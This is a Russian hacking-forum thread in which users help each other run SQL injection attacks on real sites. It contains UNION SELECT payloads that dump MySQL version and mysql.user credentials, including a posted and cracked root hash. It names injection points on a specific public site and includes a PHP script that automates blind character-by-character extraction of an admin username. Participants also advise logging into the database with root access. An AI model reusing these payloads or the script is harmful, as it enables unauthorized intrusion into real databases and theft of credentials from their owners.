SQL непохек

Вот нашел сайтик в локальной сети с скулем.

Код:

http://*****/?id=999999+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13/*

Вывод: 5.0.24a-community-nt-log
Вот думаю повезло.
Смотрю название таблиц заинтересовала таблица user.
Смотрю название столбцов: User, Password
Ну все думаю щас узнаю пассы, а нет.
На запрос

Код:

http://*****/?id=999999+UNION+SELECT+1,2,concat_ws(0x3a,user,password),4,5,6,7,8,9,10,11,12,13+FROM+user/*

Выдает ошибку :angry:

Где я не правильно составил запрос ?

 

Во-первых, не факт, что у пользователя бд есть права доступа к этой таблице..

Во-вторых, как ты узнал имя таблицы user? Через information_schema.tables? Ты при этом делал выборку по базе данных - "select table_name from information_schema.tables where table_schema='имя_базы'"? сначала надо было узнать имена всех баз..

В-третьих, похоже, что это таблица mysql.user, поправь запрос на:

 

а в четвертых возможно таблица лежит в другой базе...

Код:

_http://*****/?id=999999+UNION+SELECT+1,2,table_schema,4,5,6,7,8,9,10,11,12,13+FROM+information_schema.tables+where+table_name=0xHERE_IS_TABLENAME/*

такое часто бывает =D

 

Не совсем в эту тему, но в целях поддержания "чистоты" на форуме, отпишусь здесь. Нашел скули на сайте, но извлечь ничего не смог. Если кому интересно, вот.

Код:

http://www.geotop.ru/catalogue.phtml?searchtext=%27

Код:

http://www.geotop.ru/boardad/board.phtml?event=1&category=999%27

Заранее благодарен, ну если уже это не скуль, тогда хз, сколько искал, были моменты когда находил но ничего толкового извлеч не мог, но в целом, за все время было только 3 удачных скули, когда выдирал данные админа(естестно можно еще много чего зделать, но пока осилил только это)...

 

Код:

http://www.geotop.ru/boardad/board.phtml?event=1&category=1+and+ascii(lower(substring((version()),1,1)))=51

версия mysql 3.x, оператора юнион нет, тут годен лишь посимвольный перебор...

вот накатал скриптик, юзай

Код:

<?php
set_time_limit(0);
$host="http://www.***.**.**/shop/index.php?action=search&search=1&match=Any&in=All&manufacturer=All&pmin=1&pmax=999')";
$string="168.00";
$sym="!@#$%^&*()_+-={}[]|\;:'\"/?.>,<0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM";

for($i=1; $i<=16; $i++) {
$n=0;
while($n<=strlen($sym)-1) {
$str=$host."+and+ascii(lower(substring((select+username+from+admin+limit+0,1),$i,1)))=".ord($sym[$n])."/*";
if(!$sock=fopen($str, "r")) die("cant connect");
echo $str."\r\n";

while(!feof($sock)) {
$data=fgets($sock, 1024);
if(eregi($string, $data)) {
$fp=fopen("log.txt", "a+");
fwrite($fp, $sym[$n]);
fclose($fp);
$n=0;
break 2;
}
}

$n++;
unset($data);
fclose($sock);

}

}

?>

думаю разберешся...скрипт по алгоритму корявый очень но впадлу за 5 минут чтото стоящее писать...=D

 

xeran

какую ошибку хоть пишет та ?!

 

Спасибо, подправил немного, т.к. он логи коряво выводил Если подберу, отпишусь

 

r3ddy,
ты про хек в мускуле 3 прочитай сначала

 

Попорядку :
logos да я делал выборку
а вот это помогло вывести.

Код:

http://*****/?id=999999+UNION+SELECT+1,2,concat_ws(0x3a,user,pa ssword),4,5,6,7,8,9,10,11,12,13+FROM+mysql.user/*

вывело вот это

Код:

 	root:67457e226a1a15bd

Вопрос 1 чем разсшифровать в какой кодеровке зашифрованно?
Вопрос 2 почему с mysql.user запрос прошел ?

 

xeran,
1. mysql hash, используй passwordspro
2. потому что скорее всего текущая база данных не mysql а какая та другая. Проверь version().

вот твой сбрученый хеш:

Код:

67457e226a1a15bd:root

 

за хеш сенк
А версия вот 5.0.24a-community-nt-log

 

xeran,
тьфу..database() а не версион( моск стормазил у мя

 

db_esn

 

xeran,
ну вот видиш) ты без указания бд обращаешся к текущей...а нам нужна именно бд mysql. теперь те остается только найти пхпмайадмин или аналог его и войти в бд с рут доступом.

 

SoulFreaker,

А спомощью navicate в базу данных войти нельзя ?

 

xeran,
а что это собсна?

 

SoulFreaker,
вроде бы прога, что б подкллючатся к мускуль базе, или подобное.. не помню(

 

faza02,
дада.
Полное название Navicat for MySQL .
Мое обьяснение - это пхпмайадмин только в формате ехе ))
Имеет чуть больше функций чем майадмин.

 

xeran,
она для удаленного подключения?

 

SoulFreaker,
Да, она для удаленного подключения.